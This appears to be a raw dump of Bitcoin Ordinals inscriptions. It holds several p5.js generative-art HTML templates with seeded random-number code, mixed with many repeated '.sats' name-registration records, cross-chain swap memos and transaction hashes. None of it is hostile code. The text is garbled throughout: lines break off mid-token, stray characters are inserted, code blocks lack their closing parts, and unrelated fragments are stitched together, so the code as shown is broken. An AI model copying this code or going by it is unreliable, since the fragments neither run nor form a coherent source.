        append(points, {
          x: point_x,
          y: point_y,
          c: point_color,
          r: point_r,
          l: point_l
    if (attempts >= maxAttempts) {
      console.warn("Could not place point " + i + " after " + maxAttempts + " attempts.");
  for (var p = 0; p < points.length;M
    fill(points[p].c);
    rectMode(CENTER);
    translate(points[p].x, points[p].y);
    rotate(mathRnd(360));
    translate(-points[p].x, -points[p].y);
  for (var i = 0; i < points.length; i++) {
    if (points[i].l > 0) {
      let x = points[i].x;
      let y = points[i].y;
      let pointColor = points[i].c;
      let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
      let newY = y + mM
ap(noise(log(y), log(x)), 0, 1, -space, space / 2);
      switch (variationMode) {
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(M
x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
      let maxR = pointSpace;
      if (newX > width * (1 - offset) &&M
 newX < width * offset) {
        if (newY > height * (1 - offset) && newY < height * offset) {
          let v1 = createVector(x, y);
          let v2 = createVector(newX, newY);
          let angleBetween = v1.angleBetween(v2);
          rotate(angleBetween / space);
          strokeWeight(0.7);
          stroke(pointColor)
          fill(pointColor);
          maxR = points[i].r;
          for (var p = 0; p < i; p++) {
            maxR = min(maxR, dist(x, y, points[p].x, poM
          noStroke();
          circle(x, y, maxR);
      points[i].x = newX;
      points[i].y = newY;
      points[i].r = maxR;
      points[i].l--;
  if (millis()>25000) {
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SM
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + M
pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = MathM
.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M
 (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    // window.$generativeTraits = {
    //     "T1": T1(rand),
    // console.log(window.$generativeTraits)
 Add your code here
    // const container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
 Add your code here
text/plain;charset=utf-8
  "name": "CKBTC.sats"
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
 sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="M
allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
pt sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
  let seed=floor(999999*mathRand());
  createCanvas(1000, 1000);
    background(226, 223, 202);
    angleMode(DEGREES);
  strokeWeight(0.7);M
    square((mouseX/52.2)+219.4,119, Size);
  for(var i = 0; i < 600; i++){
    line(1000/20,y/20,19000/20,y/20)
    y = Math.floor((y + (noise(xoff)*115)+5));
    xoff = xoff + 0.1;
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + heighM
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
  translate(width/2, 100 + height);
  abranch(100, 255);
function abranch(len, colstep, rand) {
  var v = createVector(random(-5, 30), random(1, -10), random(-10, 10), random(1,8), random(1,10), random(1, 75));
    var f = v.array();
  var m = createVector(random(-5, 5), random(-10, 10), random(-10, 10), random(5, -5), random(-5, 5), random(-5, 5));
    var n = m.array();
  stroke(47,79,79, 50);
  line(0, 0, 0, -len);
    var r = random(255, 255);
    var g = random(160, 250);
    var b = random(122, 240);
    var o = random(80, 200)
    //255,192,203: pink
    //220,20,60: crimson
    //128,0,128: purple
    //255,255,0: yellow
    //72,209,204: mediumturqoise
    //47,79,79: darkslategrey
    //255,165,0: orange
    //255,160,122: lightsalmon
    //255,250,240: floralwhite
    ellipse(0, -len, dia, dia);
    stroke(r,g,b,o*2);
    ellipse(0, -len, dia*0.5, dia*0.5);
  translate(0, -len);
  if (len > random(until, until2)) {
    for(i = 0; i < aeste; i++){
    abranch(len*random(anf, end), colstep);
    for(j = 0; j < aeste; j++){
    abranch(len*random(anf, end), colstep);
    for(k = 0; k < aeste; k++){
    abranch(len*random(anf, end), colstep);
    for(l = 0; l < aeste; l++){
    abranch(len*random(anf, end), colstep);
function Trait0(rand) {
    if (rand > 0.5) {
        return true;
        return false
function Trait1(rand) {
    if (rand > 0.1) {
        return true;
        return false
window.$generativeTraits = {
    "Trait0": abranch(rand),
    "Trait1": Trait1(rand)
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabetM
.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ M
= u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>M
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
            width: 100% !important;
            height: 100% !important;
            object-fit: contain;
            position: fixed;
            left: 0;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
    if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    window.$generativeTraits = {
        "T1": T1(rand),
    console.log(window.$generativeTraits)
    const container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    document.body.prepend(container)
 Add your code here
d/Foundry USA Pool #dropgold/
7j5+:BTC.BTC:thor1a2z0d3jxe4fssgpm0qe76009m6svcwt52saf5j
FjDOUT:C828DA07480531F514250B3C171F4CD2489A859D02B94532A5B46E21970A9E55
KjI=:THOR.RUNE:thor1lexgxvrad8z9gjf2xkm50d0f3spdhtk72twt2h:195253099133:t:30
LjJ=:GAIA.ATOM:cosmos1ax27vjjd56lf5zatq2j2axahgqgt9dlmyl978a:67608958:rg:1000
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6278.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6279.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6281.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"pipi.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"boof.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"juicer.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6084.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6092.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6127.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6124.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6097.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6105.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6108.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6134.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6128.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6125.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6107.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6109.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6094.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6104.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6089.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6120.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6098.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6129.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6093.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6087.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6091.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6130.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6132.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6981.sats"}h!
FjDOUT:B70E880F96E2E13D40BDE66AFC89722DA1D2E7888ED6D672D6C3D9ED776752E3
FjDOUT:5D6CF14AF299C80771A40528AD5E8474836F9C05968551C4E1AE88BB57B5C24A
FjDOUT:FC2BFF3F21D1372F7C6D4A7AA6FA1C36C0CB47BC9D473FE75DD066C6CBDF585B
FjDOUT:449E3176C108542F04B451F2BE8ACDA95DB50B35164242ED5A621629E8AB2468
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>GENERATIVE BTC LOGO</title>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script id="snippet-contract-code" type="text/javascript">
        const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1);
        let tokenData = {
            "tokenId": tokenIdRand,
            "seed": tokenIdRand.toString(),
    <script id="snippet-random-code" type="text/javascript">
        const urlSeed = new URLSearchParams(window.location.search).get('seed');
        if (urlSeed && urlSeed.length > 0) {
            tokenData.seed = urlSeed;
        const seed = tokenData.seed
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.iM
mul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
               return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            position: fixed;
            right: 0;
            bottom: 0;
            left: 0;
            color: rgb(255, 255, 255);
            background-color: rgb(0, 0, 0);
            display: flex;
            justify-content: center;
            align-items: center;
            margin: 0;
            padding: 0;
            font-size: 0.8em;
            /* overflow: hidden; */
            object-fit: contain;
            max-height: 100%;
            max-width: 100%;
        #fullScreen {
       display: flex;
            position: fixed;
            right: 0;
            bottom: 0;
            left: 0;
            justify-content: center;
            align-items: center;
        #fullScreen canvas {
            object-fit: contain;
            max-height: 100%;
            max-width: 100%;
            color: rgb(249, 249, 249);
            opacity: 0.75;
            background-color: rgb(23, 23, 23);
            border-radius: 10px;
        padding-top: 0%;
            width: auto;
            height: auto;
            position: fixed;
            text-align: center;
            justify-content: center;
            align-items: center;
            top: 50%;
            left: 50%;
            -webkit-transform: translate(-50%, -50%);
            transform: translate(-50%, -50%);
        #progress h2 {
            display: block;
            font-size: 0.9rem;
            color: rgb(239, 239, 239);
            margin: 5%
            font-size: 0.75rem;
            display: block;
            margin: 5%
        #progress hr {
            width: 75%;
            margin-bottom: 10%
    <div id="fullScreen">
        <div id="progress">
            <script type="text/javascript">
                ////////////////INFO & FEATURES
                let title = "Generative BTC Logo";
                let st;
                const rand = mathRand();
                let cnv;
                let maxBrush = Math.floor(randBetween(500, 1500))
                function clr(rand) {
                    if (rand > 0.75) {
                        return 240
                    } else {
                        return 10
                    }
                window.$generativeTraits = {
                    "BG Color": clr(rand),
                    "Force": Math.floor(randBetween(1, 5)),
                    "Brush Size": maxBrush,
                console.loM
g(title + " | smldms 2023.02")
                console.log(window.$generativeTraits)
                let img;
                let balls = [];
                let maxFrame = 1500;
                let maxForce = 1;
                function preload() {
                    img = loadImage('https://gateway.pinata.cloud/ipfs/QmQVs9Xpa5e1JDooNiTPWct2kEorxwqk92A1HkHrn8jx1V');
                function setup() {
                    randomSeed(seed);
                    noiseSeed(seed);
     cnv = createCanvas(1920, 1920, WEBGL);
                    cnv.parent(fullScreen)
                    img.resize(width, height)
                    background(clr(rand));
                function draw() {
                    rotateY(sin(frameCount * 0.05) / 25)
                    translate(-width / 2, -height / 2, frameCount * 0.25)
                    let x = mathRand() * width
                    let y = mathRand() * height
                    for (let i = 0; i < balls.length; i++) {
                      balls[i].draw();
                        balls[i].update();
                        balls[i].changeColour();
                    }
                    for (let i = 0; i < balls.length; i++) {
                        if (balls[i].radius < 0) {
                            balls.splice(i, mathRand() * 2);
                        }
                    }
                    if (frameCount < maxFrame) {
                        for (let i = 0; i < 5; i++) {
                            balls.push(neM
w Ball(x, y, color(img.get(x + mathRand() * 2, y + mathRand() * 2))));
                        }
                    }
                    else {
                        noLoop()
                        print('stop')
                        // saver()
                        // timer(2000)
                    }
                class Ball {
                    constructor(mX, mY, c) {
                        this.location = createVector(mX, mY);
                        this.radius = randBetween(0M
                        this.r = red(c);
                        this.g = green(c);
                        this.b = blue(c);
                        this.a = alpha(c);
                        this.xOff = 0.0;
                        this.yOff = 0.0;
                    }
                    update() {
                        this.radius -= mathRand() * 0.00025;
                        let force = randBetween(0.5, maxForce)
                        this.xOff = this.xOff + randBetween(-force, force);
                      this.nX = noise(this.location.x) * this.xOff;
                        this.yOff = this.yOff + randBetween(-force, force);
                        this.nY = noise(this.location.y) * this.yOff;
                        this.location.x += this.nX;
                        this.location.y += this.nY;
                    }
                    changeColour() {
                        this.c = color(img.get(this.location.x, this.location.y));
                        this.r = red(this.c);
               this.g = green(this.c);
                        this.b = blue(this.c);
                        this.a = alpha(this.c);
                    }
                    draw() {
                        noStroke();
                        fill(this.r, this.g, this.b);
                        let brushSize = round(randBetween(1, maxBrush));
                        if (this.a > 10) {
                            strokeWeight(randBetween(0.25,0.5))
                            if (clr(rand) == 240) {
                    stroke(10)
                            }
                            else {
                                stroke(250)
                            }
                            ellipse(this.location.x, this.location.y, this.radius * brushSize, this.radius * brushSize);
                        }
                        else {
                            fill(this.r, this.g, this.b, 100)
                            noStroke()
                            rect(this.location.x, this.location.y, thisM
.radius * brushSize / randBetween(2.5, 5));
                        }
                    }
                function randBetween(a, b) {
                    if (!b) {
                        return mathRand() * a
                    }
                    return mathRand() * (b - a) + a
                function keyTyped() {
                    if (keyCode === 83) { // if "s" is pressed
                        save(title + '.png');
                    }
          function timer(t) {
                    setTimeout(function () {
                        location.reload(true);
                    }, t);
                function saver() {
                    save(title + '.png');
            </script>
text/plain;charset=utf-8
  "name": "bvb.sats"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"whitetruffle.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"upbit.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7809.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7816.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7810.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7814.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7825.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7826.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7815.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7824.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7812.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7820.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7819.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7829.sats"}h!
CjA=:ETH.ETH:0x670dAe41Aa19061197975e631A0CE112601bF8a7:317530741::0
text/plain;charset=utf-8
  "name": "manutd.sats"
text/plain;charset=utf-8
  "name": "fren.sats"
text/plain;charset=utf-8
  "name": "86886.sats"
d/Foundry USA Pool #dropgold/
Aj?=:ETH.ETH:0x621c3cee22181124d47b34fc9085874af559ceb7:1351960133
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6140.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6178.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6148.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6180.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6158.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6179.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6137.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6159.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6142.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6154.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6135.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6182.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6190.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6187.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6174.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6149.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6172.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6138.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6170.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6139.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6145.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6143.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6189.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6157.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6184.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6153.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6185.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6147.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6175.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"6150.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7856.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7892.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7904.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7895.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7865.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7869.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7863.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7902.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7864.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7891.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7861.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7893.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7859.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7862.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7860.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7691.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7692.sats"}h!
7j5ion:10.QmVXHx159xRhmnKq4emVwbrsJ4r1bRRpTQKZgG5BAh85nM
FjDOUT:A3C8F9E50EC5E69976396CFED9CAAE8D0B08D41326110851433794D4F1C37157
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
FjDOUT:553F77EE5D14F9BCE74A1CCBB4F7025F0935143FB4B1501EC5CA90C3F8F6E307
FjDOUT:B28826374C9CEE834F08D480EEAEDBB2C904BEAAB6D1529091C9458CD10E05CC
FjDOUT:D71A0513E39FBD59ADDDD7B79FD4758E452D9018A2E273A4FDF7841960E046E2
%-0+-----------------------------------------------

text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7810.sats"}h!
text/plain;charset=utf-8
  "name": "trippy.sats"
text/plain;charset=utf-8
  "name": "schalke04.sats"
text/plain;charset=utf-8
  "name": "chelseafc.sats"
text/plain;charset=utf-8
  "name": "88668.sats"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0878.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0858.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0868.sats"}h!
text/plain;charset=utf-8
  "name": "77520.sats"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kknz.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"security.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"88t.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"bitman.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"btc8.sats"}h!
text/html;charset=utf-8
    <meta charset="UTF-8"/>
    <title>Ordinal dreams - plottable</title>
    <script id="snippet-random-code">
        let seed = window.location.href.split("/").find((e) => e.includes("i0"));
        if (null == seed) {
            const e = "0123456789abcdefghijklmnopqrstuvwsyz";
                new URLSearchParams(window.location.search).get("seed") ||
                Array(64)
                    .fill(0)
                    .map((t) => e[(Math.random(M
                    .join("") + "i0";
            let e = "seed=";
            for (let t = 0; t < seed.length - e.length; ++t)
                if (seed.substring(t, t + e.length) == e) {
                    seed = seed.substring(t + e.length);
                    break;
        function cyrb128(e) {
            let t = 1779033703,
                l = 3144134277,
                n = 1013904242,
                i = 2773480762;
            for (let a, M
s = 0; s < e.length; s++)
                (t = l ^ Math.imul(t ^ (a = e.charCodeAt(s)), 597399067)),
                    (l = n ^ Math.imul(l ^ a, 2869860233)),
                    (n = i ^ Math.imul(n ^ a, 951274213)),
                    (i = t ^ Math.imul(i ^ a, 2716044179));
            return (
                (t = Math.imul(n ^ (t >>> 18), 597399067)),
                    (l = Math.imul(i ^ (l >>> 22), 2869860233)),
                    (n = Math.imul(t ^ (n >>> 17), 951274213)),
                    (i = Math.M
imul(l ^ (i >>> 19), 2716044179)),
                    [(t ^ l ^ n ^ i) >>> 0, (l ^ t) >>> 0, (n ^ t) >>> 0, (i ^ t) >>> 0]
        function sfc32(e, t, l, n) {
            return function () {
                var i = ((e >>>= 0) + (t >>>= 0)) | 0;
                return (
                    (e = t ^ (t >>> 9)),
                        (t = ((l >>>= 0) + (l << 3)) | 0),
                        (l =
                            ((l = (l << 21) | (l >>> 11)) +
                               M
